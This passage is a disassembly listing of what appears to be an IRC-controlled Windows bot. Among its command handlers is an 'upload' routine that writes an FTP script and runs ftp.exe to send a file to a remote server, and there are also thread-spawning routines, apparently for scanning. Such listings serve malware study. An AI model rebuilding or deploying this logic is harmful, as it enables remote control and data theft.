nop call near ptr 26908FFh push eax push offset unk_42A6DC loc_407269: ; CODE XREF: sub_401ACD+4E31j ; sub_401ACD+62BEj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_407278: ; CODE XREF: sub_401ACD+4E15j ; sub_401ACD+5784j ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push [ebp+var_4] loc_407285: ; CODE XREF: sub_401ACD+22DEj lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4082A8 ; --------------------------------------------------------------------------- loc_407298: ; CODE XREF: sub_401ACD+4F98j ; sub_401ACD+4FAFj push 0Bh call sub_40B33E push edi mov [ebp+arg_1C], eax call sub_41B779 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 1F4h jle loc_407454 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A69C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_4072E8: ; CODE XREF: sub_401ACD+526Dj ; sub_401ACD+5639j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401E94 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 push 4 push esi call sub_416908 pop ecx test eax, eax pop ecx jnz short loc_407324 push esi push offset unk_42A674 jmp loc_408CDB ; --------------------------------------------------------------------------- loc_407324: ; CODE XREF: sub_401ACD+584Aj nop call near ptr 26A0617h push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 9 cdq pop ecx idiv ecx push edx call sub_41B8E2 push 63h cdq pop ecx idiv ecx push edx call sub_41B8E2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_51F8] push edx push eax lea eax, [ebp+var_2E58] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41B886 lea eax, [ebp+var_2E58] push offset aAb ; "ab" push eax call sub_41B4C2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401E94 push esi push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41BE06 push [ebp+arg_24] call sub_41B05B add esp, 20h lea eax, [ebp+var_2E58] push eax lea eax, [ebp+var_4CF0] push offset aSS_2 ; "-s:%s" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4CF0] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CAEE0 push [ebp+arg_10] test eax, eax push esi jz short loc_4073F3 push offset unk_42A604 jmp short loc_4073F8 ; --------------------------------------------------------------------------- loc_4073F3: ; CODE XREF: sub_401ACD+591Dj push offset unk_42A5D4 loc_4073F8: ; CODE XREF: sub_401ACD+5924j call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_407421 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_407421: ; CODE XREF: sub_401ACD+5936j lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_40742D: ; CODE XREF: sub_401ACD+5985j lea eax, [ebp+var_2E58] push 4 push eax call sub_416908 add esp, 0Ch test eax, eax jz loc_401E94 lea eax, [ebp+var_2E58] push eax call sub_41BDDC jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407454: ; CODE XREF: sub_401ACD+57E5j push [ebp+arg_10] call sub_41B779 push edi mov [ebp+var_370], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41B779 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_40748D push 5 pop eax mov [ebp+var_36C], eax loc_40748D: ; CODE XREF: sub_401ACD+59B5j push 3Ch pop ecx cmp eax, ecx jbe short loc_40749A mov [ebp+var_36C], ecx loc_40749A: ; CODE XREF: sub_401ACD+59C5j push [ebp+arg_18] call sub_41B779 mov [ebp+var_368], eax mov eax, 320h cmp [ebp+var_368], eax pop ecx jbe short loc_4074BC mov [ebp+var_368], eax loc_4074BC: ; CODE XREF: sub_401ACD+59E7j or [ebp+var_354], 0FFFFFFFFh cmp dword_431408, ebx mov [ebp+arg_20], ebx jz short loc_40750B mov edi, offset dword_431408 loc_4074D3: ; CODE XREF: sub_401ACD+5A20j push [ebp+arg_10] lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4074F1 inc [ebp+arg_20] add edi, 40h cmp [edi], ebx jnz short loc_4074D3 jmp short loc_40750B ; --------------------------------------------------------------------------- loc_4074F1: ; CODE XREF: sub_401ACD+5A16j mov eax, [ebp+arg_20] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_431408[ecx] mov [ebp+var_370], ecx loc_40750B: ; CODE XREF: sub_401ACD+59FFj ; sub_401ACD+5A22j cmp [ebp+var_370], ebx jnz short loc_40751D push offset unk_42A5A0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40751D: ; CODE XREF: sub_401ACD+5A44j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_407558 cmp byte ptr [edi], 23h jz short loc_407558 push edi lea eax, [ebp+var_484] push 10h push eax call sub_41B980 push 78h push edi call sub_41BFB0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407632 ; --------------------------------------------------------------------------- loc_407558: ; CODE XREF: sub_401ACD+5A59j ; sub_401ACD+5A5Ej cmp [ebp+var_8FF], bl jnz short loc_40757A cmp [ebp+var_8FE], bl jnz short loc_40757A cmp [ebp+var_8EE], bl jnz short loc_40757A push offset unk_42A56C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40757A: ; CODE XREF: sub_401ACD+5A91j ; sub_401ACD+5A99j ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CAF18 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CB000 push eax lea eax, [ebp+var_484] push eax call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40762C xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41BE40 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407620 loc_4075FE: ; CODE XREF: sub_401ACD+5B51j cmp eax, ebx jz short loc_407620 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_4075FE loc_407620: ; CODE XREF: sub_401ACD+5B2Fj ; sub_401ACD+5B33j mov [ebp+var_344], 1 jmp short loc_407632 ; --------------------------------------------------------------------------- loc_40762C: ; CODE XREF: sub_401ACD+5B09j mov [ebp+var_344], ebx loc_407632: ; CODE XREF: sub_401ACD+5A86j ; sub_401ACD+5B5Dj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41B980 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_407683 loc_407670: ; CODE XREF: sub_401ACD+5BD9j push esi loc_407671: ; CODE XREF: sub_401ACD+5BC3j lea eax, [ebp+var_3F4] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4076AE ; --------------------------------------------------------------------------- loc_407683: ; CODE XREF: sub_401ACD+5BA1j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_407692 cmp byte ptr [eax], 23h jnz short loc_407692 push eax jmp short loc_407671 ; --------------------------------------------------------------------------- loc_407692: ; CODE XREF: sub_401ACD+5BBBj ; sub_401ACD+5BC0j mov esi, offset aF ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_407670 mov [ebp+var_3F4], bl loc_4076AE: ; CODE XREF: sub_401ACD+5BB4j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4076C0 mov eax, offset aSequential ; "Sequential" loc_4076C0: ; CODE XREF: sub_401ACD+5BECj push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A504 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C33C push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40774E loc_407738: ; CODE XREF: sub_401ACD+5C7Fj cmp [ebp+var_340], ebx jnz loc_40828B push 32h call near ptr 2690000h nop jmp short loc_407738 ; --------------------------------------------------------------------------- loc_40774E: ; CODE XREF: sub_401ACD+5C69j call near ptr 26908FFh nop push eax push offset unk_42A4CC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40775F: ; CODE XREF: sub_401ACD+4F6Aj ; sub_401ACD+4F81j push [ebp+arg_10] call sub_40AAF9 push edi mov [ebp+var_4E0], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_4EC], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41B5F0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CB000 push eax lea eax, [ebp+var_2C4] push offset unk_42A47C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset byte_40C759 push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407854 loc_40783E: ; CODE XREF: sub_401ACD+5D85j cmp [ebp+var_4D0], ebx jnz loc_403DA0 push 32h nop call near ptr 2690000h jmp short loc_40783E ; --------------------------------------------------------------------------- loc_407854: ; CODE XREF: sub_401ACD+5D6Fj nop call near ptr 26908FFh push eax push offset unk_42A440 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407865: ; CODE XREF: sub_401ACD+4F2Dj ; sub_401ACD+4F44j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEC8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42A434 push eax call sub_41B886 add esp, 0Ch cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCB0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEC8 push eax push edi push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407A35 ; --------------------------------------------------------------------------- loc_40795D: ; CODE XREF: sub_401ACD+4EFFj ; sub_401ACD+4F16j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEC8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx push esi push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCB0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEC8 push eax push edi push offset aSSS_1 ; "[%s] <%s> %s" loc_407A35: ; CODE XREF: sub_401ACD+5E8Bj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h jmp loc_409854 ; --------------------------------------------------------------------------- loc_407A62: ; CODE XREF: sub_401ACD+4ED1j ; sub_401ACD+4EE8j push [ebp+arg_10] call dword_4CAFB4 push edi mov [ebp+var_680], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41B5F0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CB000 push eax lea eax, [ebp+var_2C4] push offset unk_42A3D8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset dword_40C668 push ebx push ebx call near ptr 2690088h nop mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407B44 loc_407B2E: ; CODE XREF: sub_401ACD+6075j cmp [ebp+var_670], ebx jnz loc_403DA0 push 32h nop call near ptr 2690000h jmp short loc_407B2E ; --------------------------------------------------------------------------- loc_407B44: ; CODE XREF: sub_401ACD+605Fj call near ptr 26908FFh nop push eax push offset unk_42A4CC jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407B55: ; CODE XREF: sub_401ACD+4EA3j ; sub_401ACD+4EBAj push [ebp+arg_10] call sub_41B779 mov [ebp+var_112C], eax push 7Fh lea eax, [ebp+var_1230] push edi push eax call sub_41B5F0 push [ebp+arg_0] call sub_41B779 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1130], eax lea eax, [ebp+var_11B0] push [ebp+var_88] mov [ebp+var_1238], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_111C], eax push [ebp+var_1130] lea eax, [ebp+var_1230] mov [ebp+var_1120], edi push eax push [ebp+var_112C] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A39C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_1128], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1238] push ebx push eax push offset loc_4103AA push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_1128] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407C41 loc_407C2B: ; CODE XREF: sub_401ACD+6172j cmp [ebp+var_1118], ebx jnz loc_403DA0 push 32h nop call near ptr 2690000h jmp short loc_407C2B ; --------------------------------------------------------------------------- loc_407C41: ; CODE XREF: sub_401ACD+615Cj nop call near ptr 26908FFh push eax push offset unk_42A358 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407C52: ; CODE XREF: sub_401ACD+4E75j ; sub_401ACD+4E8Cj push 0FFh lea eax, [ebp+var_2878] push [ebp+arg_10] push eax call sub_41B5F0 push 0FFh lea eax, [ebp+var_2778] push edi push eax call sub_41B5F0 push [ebp+arg_0] mov [ebp+var_2674], ebx call sub_41B779 mov [ebp+var_2670], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407CAB push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_2668], eax jmp short loc_407CB1 ; --------------------------------------------------------------------------- loc_407CAB: ; CODE XREF: sub_401ACD+61C8j mov [ebp+var_2668], ebx loc_407CB1: ; CODE XREF: sub_401ACD+61DCj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407CC8 push esi call sub_41B779 pop ecx mov [ebp+var_266C], eax jmp short loc_407CCE ; --------------------------------------------------------------------------- loc_407CC8: ; CODE XREF: sub_401ACD+61EAj mov [ebp+var_266C], ebx loc_407CCE: ; CODE XREF: sub_401ACD+61F9j movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2664], eax lea eax, [ebp+var_28F8] mov [ebp+var_28FC], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_265C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2660], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A32C push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2678], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_28FC] push ebx push eax push offset loc_4163F9 push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_2678] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407D7F loc_407D69: ; CODE XREF: sub_401ACD+62B0j cmp [ebp+var_2658], ebx jnz loc_407278 push 32h nop call near ptr 2690000h jmp short loc_407D69 ; --------------------------------------------------------------------------- loc_407D7F: ; CODE XREF: sub_401ACD+629Aj nop call near ptr 26908FFh push eax push offset unk_42A2EC jmp loc_407269 ; --------------------------------------------------------------------------- loc_407D90: ; CODE XREF: sub_401ACD+4E47j ; sub_401ACD+4E5Ej push 7Fh lea eax, [ebp+var_3490] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3410] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3390] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3310] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_328C], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3288], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3494], esi push [ebp+arg_10] push offset unk_42A2B0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3290], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3494] push ebx push eax push offset byte_414A91 push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_3290] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407E67 loc_407E51: ; CODE XREF: sub_401ACD+6398j cmp [ebp+var_3284], ebx jnz loc_407278 push 32h nop call near ptr 2690000h jmp short loc_407E51 ; --------------------------------------------------------------------------- loc_407E67: ; CODE XREF: sub_401ACD+6382j call near ptr 26908FFh nop push eax push offset unk_42A278 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407E78: ; CODE XREF: sub_401ACD+4D1Aj ; sub_401ACD+4D31j push 7Fh lea eax, [ebp+var_3068] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2FE8] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_2F68] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2EE8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_306C], esi push [ebp+arg_10] push offset unk_42A248 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_2E68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_306C] push ebx push eax push offset dword_4137CC push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_2E68] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407F4F loc_407F39: ; CODE XREF: sub_401ACD+6480j cmp [ebp+var_2E5C], ebx jnz loc_407278 push 32h nop call near ptr 2690000h jmp short loc_407F39 ; --------------------------------------------------------------------------- loc_407F4F: ; CODE XREF: sub_401ACD+646Aj nop call near ptr 26908FFh push eax push offset unk_42A210 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407F60: ; CODE XREF: sub_401ACD+4BF1j ; sub_401ACD+4C08j ... push 7Fh lea eax, [ebp+var_3CE4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3C64] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3BE4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3B64] push [ebp+var_88] push eax call sub_41B5F0 push 20h lea eax, [ebp+var_3AE4] push [ebp+arg_8] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3CEC], esi push [ebp+arg_10] push offset unk_42A1E0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CE8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CEC] push ebx push eax push offset byte_412A53 push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_3CE8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408048 loc_408032: ; CODE XREF: sub_401ACD+6579j cmp [ebp+var_3A5C], ebx jnz loc_407278 push 32h nop call near ptr 2690000h jmp short loc_408032 ; --------------------------------------------------------------------------- loc_408048: ; CODE XREF: sub_401ACD+6563j nop call near ptr 26908FFh push eax push offset unk_42A1A8 jmp loc_407269 ; --------------------------------------------------------------------------- loc_408059: ; CODE XREF: sub_401ACD+4BC3j ; sub_401ACD+4BDAj push 7Fh lea eax, [ebp+var_1778] push [ebp+arg_10] push eax call sub_41B5F0 push edi call sub_41B779 push 3Fh mov [ebp+var_1628], eax push [ebp+arg_0] lea eax, [ebp+var_16F8] push eax call sub_41B5F0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_4080A4 push 3Fh lea eax, [ebp+var_16B8] push esi push eax call sub_41B5F0 add esp, 0Ch loc_4080A4: ; CODE XREF: sub_401ACD+65C3j lea eax, [ebp+var_16F8] mov [ebp+var_1624], 1 push eax lea eax, [ebp+var_1778] push [ebp+var_1628] push eax lea eax, [ebp+var_2C4] push offset dword_42A178 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1620], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_177C] push ebx push eax push offset sub_4017ED push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_1620] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408130 loc_40811A: ; CODE XREF: sub_401ACD+6661j cmp [ebp+var_161C], ebx jnz loc_406CDE push 32h call near ptr 2690000h nop jmp short loc_40811A ; --------------------------------------------------------------------------- loc_408130: ; CODE XREF: sub_401ACD+664Bj nop call near ptr 26908FFh push eax push offset dword_42A13C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408141: ; CODE XREF: sub_401ACD+4B83j ; sub_401ACD+4B9Aj push edi call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_1D64], eax jle loc_408234 push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1EEC] push esi push eax call sub_41B980 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D60], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF0], eax lea eax, [ebp+var_1DEC] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D5C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_1D58], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A110 push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1D6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF0] push ebx push eax push offset byte_412E9D push ebx push ebx call near ptr 2690088h nop mov ecx, [ebp+var_1D6C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408223 loc_408211: ; CODE XREF: sub_401ACD+6754j cmp [ebp+var_1D54], ebx jnz short loc_40828B push 32h nop call near ptr 2690000h jmp short loc_408211 ; --------------------------------------------------------------------------- loc_408223: ; CODE XREF: sub_401ACD+6742j nop call near ptr 26908FFh push eax push offset unk_42A0D8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_408234: ; CODE XREF: sub_401ACD+6683j push offset unk_42A0A0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40823E: ; CODE XREF: sub_401ACD+4B55j ; sub_401ACD+4B6Cj push edi push [ebp+arg_10] call near ptr 26B0C8Fh nop test eax, eax jz short loc_40826B push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset unk_42A07C push 200h push eax call sub_41B980 add esp, 14h jmp short loc_40828B ; --------------------------------------------------------------------------- loc_40826B: ; CODE XREF: sub_401ACD+677Dj push offset dword_42A070 call sub_41814C pop ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 loc_408288: ; CODE XREF: sub_401ACD+2F2Aj ; sub_401ACD+556Fj add esp, 0Ch loc_40828B: ; CODE XREF: sub_401ACD+2136j ; sub_401ACD+2ECCj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4082A8: ; CODE XREF: sub_401ACD+57C6j call sub_409A72 add esp, 14h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4082B5: ; CODE XREF: sub_401ACD+4B27j ; sub_401ACD+4B3Ej push [ebp+arg_10] lea eax, [ebp+var_3F04] push 104h push eax call sub_41B980 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_4082EF push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4082EF push eax lea eax, [ebp+var_3E00] push eax call sub_41B886 pop ecx pop ecx loc_4082EF: ; CODE XREF: sub_401ACD+6802j ; sub_401ACD+6811j push [ebp+var_88] lea eax, [ebp+var_3F84] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F88], eax mov eax, [ebp+var_4] mov [ebp+var_3CF8], eax mov eax, [ebp+var_8] mov [ebp+var_3CF4], eax lea eax, [ebp+var_3E00] push eax lea eax, [ebp+var_3F04] push eax push offset unk_42A040 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F88] push ebx push eax push offset byte_416CAD push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_3CFC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4083A1 loc_40838F: ; CODE XREF: sub_401ACD+68D2j cmp [ebp+var_3CF0], ebx jnz short loc_4083BC push 32h nop call near ptr 2690000h jmp short loc_40838F ; --------------------------------------------------------------------------- loc_4083A1: ; CODE XREF: sub_401ACD+68C0j nop call near ptr 26908FFh push eax push offset unk_42A004 loc_4083AD: ; CODE XREF: sub_401ACD+925j ; sub_401ACD+A63j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_4083BC: ; CODE XREF: sub_401ACD+7E1j ; sub_401ACD+94Cj ... push 1 pop esi jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4083C4: ; CODE XREF: sub_401ACD+4AF9j ; sub_401ACD+4B10j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41B590 push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push [ebp+arg_10] mov [ebp+var_63C], esi call sub_41B779 add esp, 10h cmp eax, 